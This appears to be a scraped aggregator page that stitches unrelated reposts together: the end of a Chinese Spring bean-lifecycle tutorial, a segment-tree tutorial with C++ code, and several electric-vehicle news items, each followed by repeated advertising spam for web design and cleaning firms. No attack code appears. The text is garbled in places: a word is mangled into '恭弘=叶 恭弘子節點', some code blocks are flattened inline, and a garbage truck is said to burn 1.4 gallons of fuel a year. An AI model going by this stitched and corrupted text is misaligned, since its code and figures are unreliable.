public class Test {

    public static void main(String[] args) {
        // 使用ApplicationContext來加載配置
        ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
        Student student = context.getBean("student", Student.class);

        log.info("測試程序獲取到的student bean:{}", student);

        // 刪除bean
        BeanDefinitionRegistry registry = (BeanDefinitionRegistry) context.getAutowireCapableBeanFactory();
        registry.removeBeanDefinition("student");
    }
}

  輸出:

INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - Student.clean, this:Student(id=99, name=張三)

  

九.聲明周期大雜燴

  上面對每一種接口都做了介紹,這裏就將所有接口都做一下整合,嘗試在一個測試程序中測試所有接口,這個過程中就會對Bean的生命周期有清晰的認識:

9.1 實現多接口的Student類

  創建Student類,實現Aware、InitializingBean、DisposableBean接口,並且增加display、clean方法,作為init-method和destory-method。

package cn.ganlixin.entity;

import lombok.Data;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.*;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;

@Data
@Slf4j
public class Student implements BeanNameAware, BeanFactoryAware, ApplicationContextAware, InitializingBean, DisposableBean {

    private Integer id;
    private String name;

    @Override
    public void setBeanName(String s) {
        log.info("BeanNameAware.setBeanName, this:{}", this);
    }

    @Override
    public void setBeanFactory(BeanFactory beanFactory) throws BeansException {
        log.info("BeanFactoryAware.setBeanFactory, this:{}", this);
    }

    @Override
    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
        log.info("ApplicationContextAware.setApplicationContext, this:{}", this);
    }

    @Override
    public void afterPropertiesSet() throws Exception {
        log.info("InitialingBean.afterPropertiesSet, this:{}", this);
    }

    @Override
    public void destroy() throws Exception {
        log.info("DisposableBean.destory, this:{}", this);
    }

    public void display() {
        log.info("init-method, Student.display, this:{}", this);
    }

    public void clean() {
        log.info("destroy-method, Student.clean, this:{}", this);
    }
}

 

9.2 BeanPostProcessor前後置處理

  創建MyBeanPostProcessor接口實現類,並重寫前置和後置處理方法:

package cn.ganlixin.processor;

import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.config.BeanPostProcessor;

@Slf4j
public class MyBeanPostProcessor implements BeanPostProcessor {

    @Override
    public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException {
        log.info("MyBeanPostProcessor.postProcessBeforeInitialization, beanName:{}, bean:{}", beanName, bean);
        return bean;
    }

    @Override
    public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {
        log.info("MyBeanPostProcessor.postProcessAfterInitialization, beanName:{}, bean:{}", beanName, bean);
        return bean;
    }
}

 

9.3 DestructionAwareBeanPostPrecessor接口

  創建MyDestructionAwareBeanPostProcessor類,並重寫其中的方法(不重寫BeanPostProcessor的前後置處理方法):

package cn.ganlixin.processor;

import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.config.DestructionAwareBeanPostProcessor;

@Slf4j
public class MyDestructionAwareBeanPostProcessor implements DestructionAwareBeanPostProcessor {

    @Override
    public void postProcessBeforeDestruction(Object bean, String beanName) throws BeansException {
        log.info("DestructionAwareBeanPostProcessor.postProcessBeforeDestruction, \n\tbeanName:{}, bean:{}", beanName, bean);
    }

    @Override
    public boolean requiresDestruction(Object bean) {
        return true; // 返回true,一律執行postProcessBeforeDestruction方法
        // 如果返回false,則不執行postProcessBeforeDestruction方法
    }
}

  

9.4 配置xml文件  

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns="http://www.springframework.org/schema/beans"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 創建student bean,指定init-method和destroy-method -->
    <bean class="cn.ganlixin.entity.Student" id="student" init-method="display" destroy-method="clean">
        <property name="id" value="99"/>
        <property name="name" value="張三"/>
    </bean>


    <!-- 將實現了DestructionAwareBeanPostProcessor接口的實現類聲明為bean-->
    <bean class="cn.ganlixin.processor.MyDestructionAwareBeanPostProcessor"/>

    <!-- 將實現了BeanPostProcessor接口的類也聲明為bean-->
    <bean class="cn.ganlixin.processor.MyBeanPostProcessor"/>
</beans>

  

9.5 測試代碼

package cn.ganlixin;

import cn.ganlixin.entity.Student;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.support.BeanDefinitionRegistry;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

@Slf4j
public class Test {

    public static void main(String[] args) {
        // 使用ApplicationContext來加載配置
        ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
        Student student = context.getBean("student", Student.class);

        log.info("測試程序獲取到的student bean:{}", student);

        // 刪除bean
        BeanDefinitionRegistry factory = (BeanDefinitionRegistry) context.getAutowireCapableBeanFactory();
        factory.removeBeanDefinition("student");
    }
}

  

9.6 輸出結果

INFO  [main] cn.ganlixin.entity.Student - BeanNameAware.setBeanName, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - BeanFactoryAware.setBeanFactory, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - ApplicationContextAware.setApplicationContext, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.processor.MyBeanPostProcessor - MyBeanPostProcessor.postProcessBeforeInitialization, beanName:student, bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - InitialingBean.afterPropertiesSet, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - init-method, Student.display, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.processor.MyBeanPostProcessor - MyBeanPostProcessor.postProcessAfterInitialization, beanName:student, bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.processor.MyDestructionAwareBeanPostProcessor - DestructionAwareBeanPostProcessor.postProcessBeforeDestruction, 
	beanName:student, bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - DisposableBean.destory, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - destroy-method, Student.clean, this:Student(id=99, name=張三)

  

十.總結

  看了上面這個輸出結果,再結合下面這個圖,基本就能掌握Bean的大致生命周期了。

  

 

   原文地址:https://www.cnblogs.com/-beyond/p/13188675.html

   

 

  

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※新北清潔公司,居家、辦公、裝潢細清專業服務

線段樹(毒瘤)總結

我們在這篇博客里將具體介紹一種超級毒瘤超級高效的算法
線段樹

概念引入

首先來認識一下線段樹
什麼是線段樹呢:
線段樹是一種二叉樹,也就是對於一個線段,我們會用一個二叉樹來表示。比如說一個長度為6的線段,我們可以表示成這樣

這個圖是什麼意思呢?

  • 將這個做成一個樹的結構 每個根節點存儲左右兩個節點的權值之和
    舉個栗子:最上邊的線段表示1~6的和 而他的左兒子表示1~3的和 右兒子表示4~6的和
  • 然後他左兒子的左兒子又表示1~2的和 左兒子的右兒子表示3的權值
  • 因此 節點i的權值=i左兒子的權值+i右兒子的權值
  • 所以我們可以得到 tree[rt].sum = tree[l].sum + tree[r].sum
  • 根據這個原理 我們就可以進行遞歸建樹了
struct node{
      int l,r,sum;//l表示左兒子 r表示右兒子  sum表示當前節點存儲的權值
}tree[maxn*4];

void build(int i,int l,int r){
	tree[i].l = l;tree[i].r = r;
	if(l == r){
		tree[i].sum = a[l];//a數組存儲給出的數組初始值
		return;
	}
	int mid = (l+r)/2;
	build(i*2,l,mid);
	build(i*2+1,mid+1,r);
	tree[i].sum = tree[i*2].sum+tree[i*2+1].sum;
	return;
}

這就是線段樹的建樹方法 如果你要問為什麼我們要花好幾倍的內存去建樹來完成一個數組就能完成的事情 那就是因為我們需要讓這個超級大的數組去干一些比較困難的事情
那什麼是比較困難的事情呢 讓我們進入下個專題

簡單的操作

單點修改 區間查詢

  • 舉個例子 我們要求出區間1~5的和
  • 顯然可以 for(int i = 1;i<=5;++i){ans+=a[i]};
  • 但是我們仍然要使用線段樹來進行操作
  • 首先看區間的位置
    當前處在根節點 存儲的左邊界是1 右邊界是6
    根節點的左兒子的左邊界是1 右邊界是3 右兒子的左邊界是4 右邊界是6
    左兒子的區間完全被該區間包括 所以我們直接返回左兒子的權值
    右兒子的左邊界在目標區間右邊界的左邊 所以我們繼續遞歸搜索右邊界
    現在最新的左兒子為4~5 完全包括在目標區間之中 直接返回權值 右兒子6與該區間毫無關係 返回0
    現在我們就可以把返回的值加起來了 3+2=5
  • 有人可能會吐槽了 用一個數組能解決的問題 為什麼要搞的這麼複雜
  • 但是有的時候雖然數組很方便 但是他並不能滿足我們的需求 ,O(n)的效率 ,有時候是無法令出題人快樂的, 這個時候就需要用到線段樹了 O(\(log_n\))

因此用代碼怎麼實現呢 也很簡單
先讓我們總結一下線段樹的查詢方式:

  • 如果當前區間完全被包括在目標區間之中,直接返回當前區間的權值
  • 如果當前區間與目標區間毫無關係 直接返回 0
  • 如果當前區間與目標區間有交叉 繼續遞歸搜索左兒子和右兒子
    那我們就可以有這樣的代碼實現形式
int search(int rt,int l,int r){
	if(tree[rt].r < l ||tree[rt].l > r)return 0;
	if(tree[rt].l >= l && tree[rt].r <= r)return tree[rt].sum;
	int ans = 0;
	if(tree[rt*2].r >= l)ans += search(2*rt,l,r);
	if(tree[rt*2+1].l <= r)ans += search(2*rt+1,l,r);
	return ans;
}

 那單點修改呢  這個相對就簡單許多了 * 給出一個位置x 一個值k * 如果我們要修改x位置的數 讓他加上一個數k 我們就讓樹去遞歸尋找這個位置 “`cpp void add(int rt,int x,int k){ if(tree[rt].l == tree[rt].r){//到達恭弘=叶 恭弘子節點 說明找到該位置 tree[rt].sum += k; return; } if(x <= tree[rt*2].r)add(rt*2,x,k); // 遞歸搜索左兒子 else add(rt*2+1,x,k);//遞歸搜索右兒子 tree[rt].sum = tree[rt*2].sum + tree[rt*2+1].sum;//重新將權值加和 return; } “`

區間修改單點查詢

區間修改和單點查詢的方法有很多
為了一會對pushdown的講解 我們這裏說一種比較便於下面理解的方法

區間修改和區間查詢很像

  • 不過區間查詢的 ”如果當前區間完全包括在目標區間就返回當前區間的值“要改為將當前區間打上k標記
  • 舉個例子: 我們要把一個區間所有的數加上k
  • 那就去遞歸搜索線段樹 如果發現某個線段樹的區間完全包括在目標區間中 那就將這個區間打上k標記
  • 但是我們這裏的建樹就要有所不同了
  • 因為我們的所有節點的初始值都會為0(為了便於記錄標記k)
void build(int l,int r,int rt){
    tree[rt].num=0;
    tree[rt].l=l;
    tree[rt].r=r;
    if(l==r)
        return ;
    int mid=(r+l)/2;
    build(l,mid,rt*2);
    build(mid+1,r,rt*2+1);
}

void add(int rt,int l,int r,int k){
    if(tree[rt].l>=l && tree[rt].r<=r){
        tree[rt].num+=k;
        return ;
    }
    if(tree[rt*2].r>=l)
       add(rt*2,l,r,k);
    if(tree[rt*2+1].l<=r)
       add(rt*2+1,l,r,k);
}

單點查詢可以去尋找這個節點 路上遇到的所有標記都要累加起來 最後再加上這個節點的初始值 用代碼實現大概是這個樣子 “`cpp void search(int rt,int dis){ ans+=tree[rt].num; if(tree[rt].l==tree[rt].r) return ; if(dis<=tree[rt*2].r) search(rt*2,dis); if(dis>=tree[rt*2+1].l) search(rt*2+1,dis); } //主函數中 printf(“%d\n”,ans+a[x]);//a[x]為目標位置的初始值 “`

建議將上面的板子打熟再向下繼續觀看

區間修改與區間查詢(pushdown and lazy)

前方高難
看到這樣的題你或許會想 不就是上邊那兩种放在一起嗎
但是如果你真的這樣寫完了代碼你會發現 WA
為什麼呢

先來回想一下剛才的操作:將區間加上標記 最終查詢的時候去從上往下找 將標記累加最後再加上初始值

但是這樣真的可以嗎?

答案是否定的 原因很簡單:如果你要求1~3區間的和 而你剛剛將3~5的區間加上標記 因為1~3並不包含3~5的標記 所以我們計算后的結果並不是加k之後的和 而是初始值的和

那如何解決這個問題呢? 也很簡單:只要將我們的標記k下放到i的兒子不就好了嗎

所以我們的算法雛形就出來了(這也是線段樹最毒瘤而且難調最具有魅力的地方)

  • 首先我們在結構體中多定義一個變量lazy 用於記錄標記 每次有加的操作的時候我們就加到lazy上
  • 然後就是下放操作pushdown 用於將lazy下放到i的兒子節點中
  • 所以通過簡單的推理和歸納我們仍然有以下性質:
      1. 如果當前區間完全被包含在目標區間中 則這個區間的權值 tree[rt].sum += k*(tree[rt].r - tree[rt].l + 1)
      2. 如果當前區間與目標區間有交集但是並沒有被完全覆蓋 就下放懶惰標記
      3. 下放之後分別對左兒子和右兒子進行相同的操作
  • 最後仍然是按照tree[rt].sum = tree[rt2].sum + tree[rt2+1].sum向上更新
    因此代碼實現就是
void pushdown(long long rt){
	if(tree[rt].lazy != 0){//如果當前區間已經被標記
		tree[rt*2].lazy += tree[rt].lazy;//下放到左兒子
		tree[rt*2+1].lazy += tree[rt].lazy;//下放到右兒子
		long long mid = (tree[rt].l + tree[rt].r)/2;
		tree[rt*2].sum += tree[rt].lazy*(mid - tree[rt*2].l + 1);//更新左兒子的值
		tree[rt*2+1].sum += tree[rt].lazy*(tree[rt*2+1].r - mid);//更新右兒子的值
		tree[rt].lazy = 0;//清空當前節點的懶惰標記
	}
	return;
}

void add(long long rt,long long l,long long r,long long k){
	if(tree[rt].l >= l && tree[rt].r <= r){//如果當前區間完全包含在目標區間直接更新並且標記懶惰標記
		tree[rt].sum += k*(tree[rt].r-tree[rt].l+1);//更新當前區間的權值
		tree[rt].lazy += k;//增加懶惰標記
		return;
	}
	pushdown(rt);//下放懶惰標記
	if(tree[rt*2].r >= l)add(rt*2,l,r,k);//遞歸更新左兒子
	if(tree[rt*2+1].l <= r)add(rt*2+1,l,r,k);//遞歸更新右兒子
	tree[rt].sum = tree[rt*2].sum+tree[rt*2+1].sum;//更新當前節點的權值
	return;
}

區間查詢的時候和之前幾乎一樣 不同的是要進行懶惰標記的下放之後在累加

long long search(long long rt,long long l,long long r){
	if(tree[rt].l >= l && tree[rt].r <= r)return tree[rt].sum;//如果當前區間完全包含在目標區間內 直接返回當前區間的權值
	if(tree[rt].r < l || tree[rt].l > r)return 0;//如果當前區間和目標區間完全沒有關係 直接返回0
	pushdown(rt);//下放懶惰標記
	long long s = 0;
	if(tree[rt*2].r >= l)s += search(rt*2,l,r);
	if(tree[rt*2+1].l <= r)s += search(rt*2+1,l,r);
	return s;//最後返回這個區間的和
}

線段樹模型大概就是這個樣子(線段樹還是比較受出題人青睞的難道是因為難調??)
附上練習攻略:
簡單線段樹建議用洛谷P3374【模板】樹狀數組1
        洛谷P3368【模板】樹狀數組2練習板子
如果簡單線段樹沒有問題了
可以去嘗試一下:洛谷P3372【模板】線段樹1
        洛谷P3373【模板】線段樹2
        洛谷P6242【模板】線段樹3

謝謝觀看
點個關注>_<

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

奧迪新電動跑車2018年推出:續航超500公里

根據外媒資訊,奧迪將開發多款純電動車和插電式混合動力車。電池動力的跨界車將以新一代發動機縱置模組化平臺MLB 2為基礎。首款基於MLB 2平臺衍生的產品是第二代奧迪Q7,該車將在今年下半年上市。   奧迪技術研發負責人烏爾裡奇•哈肯伯格(Ulrich Hackenberg)在日前奧迪年度大會上告訴媒體:「2018年上半年,我們將推出一款電池動力的運動型跑車,針對大型豪華車細分市場,續航里程超過500公里。該車將擁有全新、極具吸引力的外觀設計,這是我們特地為e-tron系列電動車和純電動車打造的設計。」   而去年,哈肯伯格曾表示,奧迪將推出續航里程280英里(約合45萬公尺)的純電動家用車型,車輛將擁有容納一個家庭的寬敞內部空間,於2017年前後發佈,將和特斯拉Model S電動車爭奪市場;預計將採用轎車風格車身,同時具備寬敞的內部空間,適合家用。   為了達到續航里程目標,新電動車車將採用奧迪最新一代電動馬達和電池,具有較高的能量密度。大眾汽車集團動力總成研發負責人Heinz-Jakob Neußer表示,新馬達較當前用於e-Golf電動車的型號效率高出5倍。 

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

電動車不只轎跑車市場,電動垃圾車可成利基

電動車熱潮可說成也特斯拉(Tesla)、敗也特斯拉,先是因特斯拉成功引起媒體追逐熱潮而一時暴紅,也因為特斯拉表現不如預期遭市場唱空而暫時沉寂,不過,電動車的商機並不只有特斯拉所主打的時尚轎、跑車,其實若論節能減碳與減少空污,每天固定行駛里程數更高,煞停又重新起步更頻繁,而且重量與油耗都遠大於轎車的垃圾車,更是利基市場。  
    電動車固然需要充電,而電力也可能來自於火力發電,但是火力發電廠的能源效率可達 60%,汽油引擎內燃機卻只有 30%,這是電動車節能的理論基礎之一;此外,電動車可應用煞車回電,甚至如輪胎大廠固特異正研發「燒胎回電」,在煞車時可將車體的動能部分回收為電能,內燃機引擎車煞車時所有動能都化為摩擦熱喪失,這是電動車較內燃機引擎車節能的理論基礎之二,因此,車體越重,煞停時消耗的動能越大、行駛時煞車次數越多,電動車較內燃機節省能源的幅度就更高。   以此觀之,沉重的垃圾車,每到定點就要停車,等裝完垃圾再重新啟動,顯然比開在高速公路的輕量跑車來得更有節能空間。   於是,原本也是特斯拉共同創辦人之一的伊恩萊特(Ian Wright),選擇鎖定垃圾車,成立新創事業「萊特速度」(Wrightspeed),伊恩萊特表示,一般標準垃圾車每天都要煞停、再啟動 1,000 次,導致每 3 個月就會磨光煞車皮,每年燒掉 1.4 加侖汽油。這是很有節能潛力的目標。   萊特速度改裝現有垃圾車,將原本內燃機動力總成改裝為電動動力總成,並且加裝煞車回電系統,除了可回收電力以外,也能減輕煞車皮的負擔,不再每三個月就磨光煞車皮,而為了延長行駛距離,動力總成上還加裝了一組汽油發電機,作為備用能源,這與油電混合動力車不同,汽油發電機並不是直接驅動車輛,而是供電給電池,透過電動動力總成來驅動車輛,維持全電動的動力總成架構。    
省成本又解決空污問題   有了汽油發電機,只要有加油站,就不擔心會停擺,也因此,萊特速度的電池容量也不大,標準垃圾車電池容量僅 78 度電,而中型垃圾車電池容量更只有 26 度電,相較之下,特斯拉 Model S 最大擁有 85 度電容量的電池。   但萊特速度在煞車回電上的能力則遠大於特斯拉轎車,煞車回電的發電容量最高達 730 千瓦,以提供強大的煞車力來煞停沉重的垃圾車,並將盡可能多的動能回收為電能。   而煞車回電不僅回收電池電量,減少煞車皮損耗,也減少了煞車時對車軸與整個車身造成的損耗,伊恩萊特表示,一般垃圾車行駛 20 萬英里就要報廢,大概只能開上 5 年,並且需要大量維修工作,轉換為萊特速度電動系統以後,可大為延長使用期限,每年除了減少 3.5 萬美元的燃料費用以外,還能再減少 2 萬美元的維修費用,這讓萊特速度的客戶可在 4 年內回本。   除了省錢以外,改裝為電動車也解決了老舊垃圾車的空污問題,以加州為例,新的空污標準讓老舊垃圾車瀕臨淘汰,使用老舊垃圾車的單位面臨必須重買新車以符合空污排放標準的難題,但如果以萊特速度的技術改裝為電動車,就解決了空污問題,其成本也比重買新車來得低。   而這不僅是空氣污染問題,垃圾車穿越社區時,引擎聲往往擾人清夢,伊恩萊特認為,改為電動車之後,安靜將是一大競爭力。由於美國有 11 萬輛垃圾車,除了垃圾車以外,送貨用車如快遞業者的送貨廂型車等也是可能的客戶,萊特速度的改裝生意大有可為。   伊恩萊特更自信滿滿地表示,雖然特斯拉做得很好,但在保護環境方面,萊特速度能減少的碳排放、空氣污染與噪音一定能超過特斯拉。萊特速度到 2015 年 3 月,募資總額達 3,200 萬美元,目前正在進行最新一輪募資,預期要雇用至 300 名員工,提升最大年產能至 5,000 輛規模。     本文全文授權轉載自《科技新報》─〈〉

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※新北清潔公司,居家、辦公、裝潢細清專業服務

攜手 Uber 比亞迪進軍美電動車市場

叫車服務 Uber 日前證實已與比亞迪達成合作協議,將在美國推廣電動車服務,此舉被視為比亞迪挑戰美國電動車霸主特斯拉的一項舉動。   Uber 發言人 Lauren Altmin 指出,Uber 與比亞迪合作,將是其聚焦電動汽車服務的第一步。Uber 的測試計畫幾周前已在芝加哥展開,並最終將擴大到更多美國城市。Altmin 表示,Uber 去年年底開始與比亞迪和美國汽車銷售商 Green Wheels USA 展開談判,Green Wheels USA 將銷售比亞迪 e6 電動車,並負責在當地建設充電樁。   報導指出,Uber 正試圖用電動車擴大其低階租車領域的市場規模。比亞迪則透過與 Uber 的合作,實現進軍美國電動汽車市場的目標。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

中國二月電動車銷量增4倍 充電設施市場備具潛力

中國汽車工業協會3月10日披露,2015年2月份我國汽車產銷總量低迷,與上年同期比較,產銷總體微弱下降。資料顯示,今年2月汽車產銷分別完成163.18萬輛和159.33萬輛,比上月分別下降28.7%和31.3%,比上年同期分別下降0.4%和0.2%。   但新能源汽車卻出現井噴式增長。2月新能源汽車生產量達6190輛,銷售量為6045輛,同比分別增長2.7倍和3倍。其中純電動汽車產銷分別完成3061輛和2890輛,同比分別增長2.8倍和4倍;插電式混合動力汽車產銷分別完成3129輛和3155輛,同比分別增長2.7倍和2.4倍。   根據銀河證券的推算,假設到2020年,新能源汽車累計產銷量超過500萬輛。按照一輛車對應1個慢充、0.2個快充計算,預計至2020年將會催生500萬個慢充和100萬個快充的市場需求。隨著充電樁建設加速,充電設備未來投資額將會超過850億元人民幣。充電設施高成長前景已然顯現。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

解讀兩會後新能源汽車盛況——第五屆中國國際新能源汽車論壇5月在滬召開

近些年,環保問題的凸顯,阻礙了傳統能源汽車快速前進的腳步,多地以環境保護的緣由實行限購限行等措施,而在此非常時期,新能源汽車的崛起和發展就越來越受到各方的關注。《穹頂之下》讓業界積極關注解決霧霾的辦法。工業燒煤與汽車尾氣排放是造成城市霧霾現象的主因,新能源替代煤炭與石油是保證中國可持續發展的主要措施,因此新能源汽車需要得到推廣也成為業界共識。

恰逢此時,新能源汽車技術日趨成熟,新能源汽車的崛起和發展已經受到越來越多的人關注,”兩會”期間,新能源汽車的發展成為代表們熱議的話題。新能源汽車的發展能否借助”兩會”的東風,走上快車道。

在連續四屆精彩紛呈的新能源汽車論壇和一屆亞太鋰電池峰會的基礎上,由希邁商務諮詢主辦,上海交大密西根學院、工信部賽迪顧問大力支持,並得到了亞太電動車協會陳清泉院士傾情指導的“第五屆中國國際新能源汽車論壇2015”將於2015年5月18日至19日在上海隆重召開。屆時將有三百位行業領導出席本次論壇。

部分已確認參會的公司如下:

工業和資訊化部中國電子資訊產業發展研究院、上海新能源汽車推進辦、比亞迪戴姆勒、特斯拉、樂視超級汽車(中國)有限公司、富豪汽車、通用汽車中國、上汽集團、中科力帆、江鈴汽車、揚州亞星客車股份有限公司、長城新能源、上海大眾聯合、中國電力企業聯合會、艾爾維、NEC、綠嘀汽車租賃(北京)有限公司、泰國國家石油公司、ATL、飛思卡爾、東莞振華新能源等等。

會議結構

  上午 下午
大會第一天

“智”造時代政策預測、製造趨勢及試點城市推廣情況

工信部、科技部、交通部、發改委及地方政府的政策支持
下一代電動汽車產品及商業模式
國內外整車商新能源新動向

新能源汽車電機及控制系統

新能源汽車開發特點及供應配套要求
動力總成電氣化
變速器和電驅動的開發技術與實踐

大會第二天

基礎設施引領商業新模式

充電基礎設施建設的市場分析
能源互聯網電動汽車項目
實現高效、智慧、規範的網路化建設與運營

新能源汽車市場新常態

樂視——重新定義汽車
谷歌更酷的下一步:無人駕駛
無線充電技術新突破
車身輕量化

微型電動車市場准入

政策准入前景
市場格局變化
電池技術路線選擇

動力電池突破之路

動力電池未來商業模式、技術路線探索
燃料電池及材料研發
智慧電池以及電動車動力管理系統

      整車廠商-電池企業對接洽談會

據悉,中國國際新能源汽車論壇將吸引來自國內外主流參會企業和嘉賓,預計將達到300人左右。相對規模與檔次都名列亞洲前茅,學習促進行業發展,業主相互技藝分享,充分享受資源平臺,創造最大企業價值。

連絡人:Hill ZENG(曾先生)
電話:+86-21-6045 1760
傳真:+86-21-6047 5887
郵箱:
唯一報名官方網址:

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

南韓與現代汽車合作 將力推燃料電池車

不只日本將砸錢補助燃料電池車,南韓政府也將推廣此種環保車輛,並預計於 7 月發布長期發展計畫。   現代汽車 (Hyundai Motor) 1 月宣布與南韓光州市合作,要把該市變成南韓燃料電池業的基地。南韓總統朴槿惠近來也盛讚,燃料電池車為未來導向環保科技的最佳範例。如今據傳南韓環保署將出資發展燃料電池車和加氫站系統,要視這 4 個月的研究情況,7 月發表長期發展計畫。   據了解,南韓環保署有意推廣燃料電池車,目標 2020 年時公營部門能使用至少 1,000 輛燃料電池車和 10 個加氫站。現代汽車的燃料電池車 Tucson ix FCEV,最近售價大砍 43%,LG Chem 等汽車零件廠也加速研發燃料電池,要是能找出新物質取代昂貴白金作為催化劑,有望出現快速成長。    

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

為在中國實現國產 特斯拉將與重慶車企合作電動車?

昨(17)日, 重慶整車製造企業力帆集團在其微信公眾號上稱特斯拉汽車公司的投資及政府關係總監肯•摩根一行於3月16日造訪了力帆集團,並與力帆高層就電動車領域的充電站建設、電池、投入與使用成本等話題進行了深入交流。   據力帆集團高層介紹,肯•摩根對力帆純電動汽車底盤換電池技術十分感興趣。力帆純電動汽車底盤換電池技術已於去年4月獲得了國家發明專利,該技術對換電池過程實現了全智慧控制,換電池時間可控制在3分鐘以內。   此外,肯•摩根還造訪了長安新能源汽車。有知情人士透露,長安也是特斯拉的潛在合作夥伴。長安汽車之前計畫斥資180億元人民幣投入到研發、技術、供應、運營四個領域,2015至2025年將分三個階段推出共計34款新能源產品,其中純電動車佔多數。   特斯拉CEO埃隆•馬斯克此前不止一次稱特斯拉會在2-3年內在中國達到國產。有業內人士表示,此次特斯拉來渝探營,將有可能促進重慶車企與特斯拉聯手,打造純電動汽車。 

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心